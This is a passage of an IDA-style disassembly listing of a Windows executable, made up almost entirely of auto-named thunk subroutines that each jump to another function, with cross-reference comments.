; sub_404010+3Fp ... jmp sub_40A800 sub_4017EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017F3 proc near ; CODE XREF: ___:00421EAAp jmp sub_422470 sub_4017F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4017F8 proc near jmp sub_40B2F0 sub_4017F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017FD proc near ; CODE XREF: sub_4068E0+205p jmp sub_41B920 sub_4017FD endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_8. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401807 proc near ; CODE XREF: ___:00427D03p jmp sub_427D30 sub_401807 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40180C proc near ; CODE XREF: ___:00425F16p ; ___:00425F47p jmp sub_4257F0 sub_40180C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401811 proc near ; CODE XREF: sub_41E760+FFp ; sub_41E760+179p ... jmp sub_421B80 sub_401811 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401816 proc near ; CODE XREF: sub_40A1F0+7p jmp sub_40A210 sub_401816 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40181B proc near ; CODE XREF: sub_40B510+76p jmp sub_40B470 sub_40181B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401820 proc near ; CODE XREF: ___:00423F8Dp ; DATA XREF: ___:off_44541Co jmp sub_425100 sub_401820 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401825 proc near ; CODE XREF: sub_41E760+18Ep ; ___:0043C483j jmp sub_4219F0 sub_401825 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40182A proc near ; DATA XREF: ___:off_43F10Co jmp sub_428210 sub_40182A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40182F proc near ; CODE XREF: ___:00416EDFp jmp sub_417EF0 sub_40182F endp ; --------------------------------------------------------------------------- jmp loc_42FF10 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401839 proc near ; CODE XREF: sub_41E760+3BCp ; sub_4226B0+3p jmp sub_421D50 sub_401839 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40183E proc near ; CODE XREF: sub_427990+90p jmp sub_427C50 sub_40183E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401843 proc near ; CODE XREF: ___:0042444Dp ; sub_424920+135p jmp sub_424480 sub_401843 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401848 proc near ; CODE XREF: sub_40BF20+3p ; ___:0040BFEFp ... jmp sub_40C160 sub_401848 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40184D proc near ; CODE XREF: sub_407140+36p ; sub_407140+72p ... jmp sub_407390 sub_40184D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401852 proc near ; CODE XREF: ___:00413251p jmp sub_415770 sub_401852 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401857 proc near ; CODE XREF: ___:0040BAB1p ; ___:0040BB78p ... jmp sub_412B70 sub_401857 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40185C proc near ; CODE XREF: ___:004332DFp ; ___:004333EFp ... jmp sub_432E20 sub_40185C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401861 proc near ; DATA XREF: ___:0043359Ao ; ___:00433700o jmp sub_432E90 sub_401861 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401866 proc near ; CODE XREF: sub_416460+7p jmp sub_416840 sub_401866 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40186B proc near ; CODE XREF: sub_418430+34p jmp sub_404C70 sub_40186B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401870 proc near ; CODE XREF: sub_403530+7Ap ; sub_403530+9Ep ... jmp sub_409C20 sub_401870 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401875 proc near ; CODE XREF: sub_420630+152p jmp sub_4208A0 sub_401875 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40187A proc near ; CODE XREF: ___:0041A328p ; sub_41B110+3p ... jmp sub_41B140 sub_40187A endp ; --------------------------------------------------------------------------- jmp loc_42B060 ; --------------------------------------------------------------------------- jmp loc_41C1E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401889 proc near ; CODE XREF: ___:00416B4Bp ; ___:0043B26Cj ... jmp sub_416E10 sub_401889 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40188E proc near ; CODE XREF: sub_410030+217p ; sub_41FE90+4Cp ... jmp sub_41FE50 sub_40188E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401893 proc near ; CODE XREF: sub_42AD90+9Dp jmp sub_429450 sub_401893 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401898 proc near ; CODE XREF: ___:0042D2F5p jmp sub_4290B0 sub_401898 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40189D proc near ; DATA XREF: ___:0043F184o jmp sub_42B440 sub_40189D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018A2 proc near ; CODE XREF: sub_41B5B0+DDp jmp sub_41AE30 sub_4018A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018A7 proc near jmp sub_4341C0 sub_4018A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018AC proc near ; CODE XREF: ___:00414295p ; sub_414E10+1B2p jmp sub_413E70 sub_4018AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018B1 proc near ; CODE XREF: sub_4120B0+1B6p jmp sub_40A1F0 sub_4018B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018B6 proc near ; CODE XREF: sub_41E760+5ABp jmp sub_4204D0 sub_4018B6 endp ; --------------------------------------------------------------------------- jmp loc_433000 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018C0 proc near ; CODE XREF: sub_40A9F0+14p jmp sub_40ACA0 sub_4018C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018C5 proc near ; CODE XREF: sub_4135E0+B4p ; ___:00414C60p ... jmp sub_415710 sub_4018C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018CA proc near ; CODE XREF: sub_41A3B0+6Dp ; sub_41A3B0+1B5p jmp sub_41B060 sub_4018CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018CF proc near ; CODE XREF: ___:004323CAp jmp sub_431D80 sub_4018CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018D4 proc near ; CODE XREF: sub_418F90+5Fp jmp sub_419130 sub_4018D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018D9 proc near ; CODE XREF: ___:00416B9Bp ; ___:0043B226j ... jmp sub_4179F0 sub_4018D9 endp ; --------------------------------------------------------------------------- jmp loc_419ED0 ; --------------------------------------------------------------------------- jmp sub_41A1E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4018E8 proc near ; CODE XREF: sub_41E760+46p jmp sub_4219B0 sub_4018E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018ED proc near ; CODE XREF: ___:0042D425p jmp sub_42ACB0 sub_4018ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4018F2 proc near ; CODE XREF: sub_422230+7p jmp sub_422620 sub_4018F2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018F7 proc near ; CODE XREF: sub_4220B0+9p ; sub_422510+18p jmp sub_422690 sub_4018F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018FC proc near ; CODE XREF: sub_4222B0+8p jmp sub_422670 sub_4018FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401901 proc near ; CODE XREF: sub_4134A0+43p ; sub_4148A0+4Fp ... jmp sub_415820 sub_401901 endp ; --------------------------------------------------------------------------- jmp loc_431D00 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40190B proc near ; CODE XREF: sub_421AD0+1Fp jmp sub_421E50 sub_40190B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401910 proc near ; CODE XREF: sub_4219B0+11p ; sub_421E50+1Fp jmp sub_421F80 sub_401910 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401915 proc near ; CODE XREF: sub_40B470+6Dp jmp sub_40BE70 sub_401915 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40191A proc near ; CODE XREF: sub_409530+13p jmp sub_409660 sub_40191A endp ; --------------------------------------------------------------------------- jmp loc_4378B0 ; --------------------------------------------------------------------------- jmp sub_41B110 ; --------------------------------------------------------------------------- loc_401929: ; DATA XREF: ___:off_43F068o jmp loc_416DE0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40192E proc near ; CODE XREF: ___:00413C01p jmp sub_413A80 sub_40192E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401933 proc near ; CODE XREF: ___:00413263p ; sub_4132F0+32p jmp sub_4155B0 sub_401933 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401938 proc near ; CODE XREF: ___:00416C4Bp ; ___:0043B18Cj ... jmp sub_417120 sub_401938 endp ; --------------------------------------------------------------------------- jmp loc_432390 ; --------------------------------------------------------------------------- jmp loc_4347E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401947 proc near ; CODE XREF: sub_41C710+F1p ; sub_41C710+270p ... jmp sub_420F10 sub_401947 endp ; --------------------------------------------------------------------------- jmp loc_40A4E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401951 proc near ; CODE XREF: sub_404CC0+283p ; sub_40EE40+D2p ... jmp sub_40F060 sub_401951 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401956 proc near ; CODE XREF: sub_4219F0+34p ; sub_422340+67p jmp sub_421FD0 sub_401956 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40195B proc near ; CODE XREF: sub_404CC0+BF1p jmp sub_406730 sub_40195B endp ; --------------------------------------------------------------------------- jmp loc_433650 ; --------------------------------------------------------------------------- loc_401965: ; DATA XREF: sub_41FD00+39o jmp loc_41FC30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40196A proc near ; CODE XREF: ___:0041A29Ep ; sub_41A3B0+Bp ... jmp sub_41A390 sub_40196A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40196F proc near ; CODE XREF: ___:0041AC86p ; ___:0041AD66p jmp sub_41A990 sub_40196F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401974 proc near jmp sub_419320 sub_401974 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401979 proc near ; CODE XREF: sub_4119E0+2Ep ; sub_411BE0+3p jmp sub_411B20 sub_401979 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40197E proc near ; CODE XREF: sub_41E760+F5p ; sub_41E760+16Fp ... jmp sub_421AA0 sub_40197E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401983 proc near ; CODE XREF: sub_409530+4p ; sub_4096E0+1Fp ... jmp sub_4095E0 sub_401983 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401988 proc near jmp sub_409B10 sub_401988 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40198D proc near ; CODE XREF: sub_41F960+20p ; sub_42AD90+37p jmp sub_41FF50 sub_40198D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401992 proc near ; CODE XREF: sub_4135E0+4Ap ; ___:00414C0Fp ... jmp sub_415500 sub_401992 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401997 proc near ; CODE XREF: sub_40A510+A8p jmp sub_40A930 sub_401997 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40199C proc near ; CODE XREF: sub_40CC90+41p jmp sub_40CF40 sub_40199C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019A1 proc near ; CODE XREF: ___:004346F5p ; ___:004347F5p jmp sub_434450 sub_4019A1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019A6 proc near ; CODE XREF: sub_4219F0+29p jmp sub_421EF0 sub_4019A6 endp ; --------------------------------------------------------------------------- jmp loc_42FFE0 ; --------------------------------------------------------------------------- jmp loc_42FFB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019B5 proc near ; CODE XREF: sub_40A870+Dp ; sub_40AAD0+91p jmp sub_40A9F0 sub_4019B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019BA proc near ; CODE XREF: sub_422150+23p ; sub_422510+11p jmp sub_4226B0 sub_4019BA endp ; --------------------------------------------------------------------------- jmp loc_41AC20 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019C4 proc near ; CODE XREF: sub_404010+2Cp ; ___:0040408Fp ... jmp sub_403530 sub_4019C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019C9 proc near ; CODE XREF: sub_422850+6p jmp sub_4228C0 sub_4019C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019CE proc near ; DATA XREF: ___:off_43F050o jmp sub_416D30 sub_4019CE endp ; --------------------------------------------------------------------------- jmp sub_40FE40 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4019D8 proc near ; CODE XREF: sub_407460+4p jmp sub_407590 sub_4019D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019DD proc near ; CODE XREF: ___:0040B709p ; ___:0040BB26p ... jmp sub_40B600 sub_4019DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019E2 proc near ; CODE XREF: sub_410030+AF4p ; sub_410030+E6Ap jmp sub_411BE0 sub_4019E2 endp ; --------------------------------------------------------------------------- jmp loc_433C30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019EC proc near ; CODE XREF: sub_4145A0+CEp jmp sub_414710 sub_4019EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019F1 proc near ; DATA XREF: ___:0043F1C8o jmp sub_42CB70 sub_4019F1 endp ; --------------------------------------------------------------------------- loc_4019F6: ; DATA XREF: ___:off_43F0D0o jmp loc_41D830 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019FB proc near ; CODE XREF: sub_421B10+3p jmp sub_422030 sub_4019FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A00 proc near ; CODE XREF: ___:00416E8Fp jmp sub_40B190 sub_401A00 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A05 proc near jmp sub_4133B0 sub_401A05 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A0A proc near ; CODE XREF: sub_41E760+477p jmp sub_4201F0 sub_401A0A endp ; --------------------------------------------------------------------------- jmp loc_421950 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A14 proc near ; DATA XREF: ___:0043F124o jmp sub_428940 sub_401A14 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A19 proc near jmp sub_411C10 sub_401A19 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A1E proc near ; CODE XREF: sub_4344C0+92p jmp sub_431C30 sub_401A1E endp ; --------------------------------------------------------------------------- jmp loc_4292B0 ; --------------------------------------------------------------------------- jmp loc_427D00 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A2D proc near ; CODE XREF: sub_421EF0+32p jmp sub_422340 sub_401A2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A32 proc near ; CODE XREF: ___:00416BDBp ; sub_416D30+3p ... jmp sub_416D00 sub_401A32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A37 proc near ; CODE XREF: ___:00423B04p ; ___:004285E8p ... jmp sub_420E00 sub_401A37 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A3C proc near ; CODE XREF: sub_422310+Ap jmp sub_422720 sub_401A3C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A41 proc near ; CODE XREF: ___:00412F9Fp ; ___:00413054p ... jmp sub_404690 sub_401A41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A46 proc near ; CODE XREF: sub_409530+1Ap ; sub_409610+4p ... jmp sub_4095A0 sub_401A46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A4B proc near ; DATA XREF: ___:off_43F028o jmp sub_40FE40 sub_401A4B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A50 proc near ; DATA XREF: ___:0043F0E4o jmp sub_427990 sub_401A50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A55 proc near ; CODE XREF: ___:00426475p jmp sub_426070 sub_401A55 endp ; --------------------------------------------------------------------------- jmp loc_409E30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A5F proc near ; CODE XREF: sub_415BA0+1Ep jmp sub_416650 sub_401A5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A64 proc near ; CODE XREF: ___:004305E0p ; sub_4321F0+36p ... jmp sub_431630 sub_401A64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A69 proc near ; CODE XREF: sub_4138B0+3Ep jmp sub_434BF0 sub_401A69 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A6E proc near ; CODE XREF: sub_414A70+3p jmp sub_414AA0 sub_401A6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A73 proc near ; CODE XREF: ___:0040829Bp ; ___:0040872Cp jmp sub_409570 sub_401A73 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A78 proc near ; DATA XREF: ___:0043F0E0o ; ___:0043F0F0o ... jmp sub_4276C0 sub_401A78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A7D proc near ; CODE XREF: sub_41D930+1ADp jmp sub_42DB00 sub_401A7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A82 proc near ; CODE XREF: sub_420630+191p ; sub_4228C0+3p ... jmp sub_4208C0 sub_401A82 endp ; --------------------------------------------------------------------------- jmp loc_4302E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A8C proc near ; CODE XREF: sub_4226E0+5p jmp sub_422850 sub_401A8C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A91 proc near ; CODE XREF: ___:00416F4Ap jmp sub_418200 sub_401A91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A96 proc near ; CODE XREF: sub_407270+5p ; sub_407360+6p ... jmp sub_4074B0 sub_401A96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A9B proc near ; CODE XREF: sub_403530+90p ; sub_404CC0+40Cp ... jmp sub_40A780 sub_401A9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AA0 proc near ; CODE XREF: sub_41D930+2FFp ; sub_41F030+52Fp jmp sub_41FE90 sub_401AA0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AA5 proc near ; CODE XREF: ___:004330BAp jmp sub_430B30 sub_401AA5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401AAA proc near ; CODE XREF: sub_415570+1Fp jmp sub_415ED0 sub_401AAA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AAF proc near ; CODE XREF: sub_403530+E5p ; sub_409F50+Fp ... jmp sub_409E80 sub_401AAF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AB4 proc near ; CODE XREF: sub_432850+17p ; sub_432850+33p jmp sub_434A00 sub_401AB4 endp ; --------------------------------------------------------------------------- jmp loc_434770 ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_11. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp loc_427D00 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AC8 proc near ; CODE XREF: sub_424F70+E5p ; sub_424F70+120p jmp sub_424E20 sub_401AC8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401ACD proc near ; DATA XREF: ___:off_43F034o jmp sub_4120B0 sub_401ACD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AD2 proc near ; DATA XREF: ___:0041FC33o jmp sub_41FB90 sub_401AD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AD7 proc near ; CODE XREF: sub_407140+Bp jmp sub_407320 sub_401AD7 endp ; --------------------------------------------------------------------------- jmp loc_433E90 ; --------------------------------------------------------------------------- loc_401AE1: ; DATA XREF: ___:off_43F020o jmp loc_40B9B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AE6 proc near ; CODE XREF: sub_403F30+2Bp ; sub_403F30+3Bp ... jmp sub_403D60 sub_401AE6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AEB proc near ; CODE XREF: sub_4135E0+66p ; sub_4135E0+CAp ... jmp sub_415740 sub_401AEB endp ; --------------------------------------------------------------------------- jmp loc_41B880 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401AF5 proc near jmp sub_4228F0 sub_401AF5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401AFA proc near ; CODE XREF: ___:00416C2Bp ; ___:0043B1A8j ... jmp sub_40B250 sub_401AFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AFF proc near ; CODE XREF: ___:00421864p ; ___:0042189Ep jmp sub_4216D0 sub_401AFF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B04 proc near ; CODE XREF: sub_404C30+15p jmp sub_407140 sub_401B04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B09 proc near ; DATA XREF: ___:off_43F0BCo jmp sub_41A1E0 sub_401B09 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B0E proc near ; CODE XREF: ___:0041700Fp jmp sub_418A00 sub_401B0E endp ; --------------------------------------------------------------------------- loc_401B13: ; CODE XREF: ___:00439F76j jmp loc_40CBD0 ; --------------------------------------------------------------------------- loc_401B18: ; DATA XREF: ___:off_43F16Co jmp loc_42B060 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B1D proc near ; CODE XREF: sub_4170B0+28p jmp sub_418990 sub_401B1D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B22 proc near ; CODE XREF: ___:00432CD7p jmp sub_432D10 sub_401B22 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B27 proc near ; CODE XREF: sub_431240+Bp jmp sub_4316C0 sub_401B27 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B2C proc near jmp sub_40AF80 sub_401B2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B31 proc near ; CODE XREF: ___:00418D7Bp ; sub_418F90+28p ... jmp sub_419050 sub_401B31 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B36 proc near ; DATA XREF: ___:off_43F1B0o jmp sub_42C7E0 sub_401B36 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B3B proc near ; CODE XREF: ___:00416B7Bp ; ___:0043B242j ... jmp sub_417AD0 sub_401B3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B40 proc near ; CODE XREF: ___:004087CBp ; ___:004087ECp ... jmp sub_4076B0 sub_401B40 endp ; --------------------------------------------------------------------------- jmp loc_414BC0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B4A proc near ; CODE XREF: sub_41C710+83p ; ___:004295EFp jmp sub_41D640 sub_401B4A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B4F proc near ; CODE XREF: sub_41A990+11p jmp sub_41A9C0 sub_401B4F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B54 proc near ; CODE XREF: sub_41E760+339p jmp sub_421D10 sub_401B54 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B59 proc near ; CODE XREF: sub_414D40+3p jmp sub_414D70 sub_401B59 endp ; --------------------------------------------------------------------------- jmp loc_433F90 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B63 proc near ; CODE XREF: sub_430D90+29p jmp sub_430830 sub_401B63 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B68 proc near ; CODE XREF: sub_40FE70+38p ; ___:0043A458j jmp sub_412C90 sub_401B68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B6D proc near jmp sub_40D660 sub_401B6D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B72 proc near ; CODE XREF: sub_4076B0+3Bp ; sub_407740+43p jmp sub_40B510 sub_401B72 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B77 proc near ; CODE XREF: sub_407320+3p jmp sub_4074F0 sub_401B77 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B7C proc near ; CODE XREF: sub_424920+9Dp ; sub_424920+FBp ... jmp sub_4246D0 sub_401B7C endp ; --------------------------------------------------------------------------- loc_401B81: ; DATA XREF: ___:off_43F084o jmp loc_426EC0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B86 proc near ; CODE XREF: sub_410030+413p ; sub_410030+F69p ... jmp sub_40A040 sub_401B86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B8B proc near ; CODE XREF: ___:00426764p jmp sub_4267D0 sub_401B8B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B90 proc near ; CODE XREF: sub_422150+32p jmp sub_422510 sub_401B90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B95 proc near ; CODE XREF: sub_41B5B0+A5p jmp sub_41A7D0 sub_401B95 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B9A proc near ; CODE XREF: sub_40C040+23p ; sub_40C200+11p jmp sub_40C3A0 sub_401B9A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B9F proc near ; CODE XREF: ___:0042CB23p jmp sub_42CB50 sub_401B9F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401BA4 proc near jmp sub_41E240 sub_401BA4 endp ; --------------------------------------------------------------------------- loc_401BA9: ; DATA XREF: sub_431240+86o jmp loc_432940 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BAE proc near ; CODE XREF: sub_409610+20p jmp sub_4096E0 sub_401BAE endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_9. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BB8 proc near ; DATA XREF: ___:off_43F0A4o jmp sub_40CC90 sub_401BB8 endp ; --------------------------------------------------------------------------- jmp loc_431CC0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401BC2 proc near ; CODE XREF: sub_421CD0+1Fp jmp sub_4220B0 sub_401BC2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401BC7 proc near ; CODE XREF: sub_428810+39p jmp sub_4283D0 sub_401BC7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BCC proc near ; CODE XREF: sub_415820+5p ; sub_415A30+6p ... jmp sub_416480 sub_401BCC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BD1 proc near ; CODE XREF: sub_4316C0+5Dp ; sub_432A20+3Ep jmp sub_4317C0 sub_401BD1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BD6 proc near ; CODE XREF: ___:00433419p ; ___:0043343Ap ... jmp sub_431EF0 sub_401BD6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BDB proc near ; CODE XREF: ___:00427092p jmp sub_427C90 sub_401BDB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BE0 proc near ; CODE XREF: sub_41B4D0+3p jmp sub_41B500 sub_401BE0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BE5 proc near ; CODE XREF: sub_429510+3p jmp sub_429540 sub_401BE5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BEA proc near ; CODE XREF: sub_422B40+924p ; ___:0042416Ap jmp sub_426BD0 sub_401BEA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BEF proc near ; CODE XREF: sub_42E5B0+18Dp ; sub_42E5B0+1CDp ... jmp sub_42F2C0 sub_401BEF endp ; =============== S U B 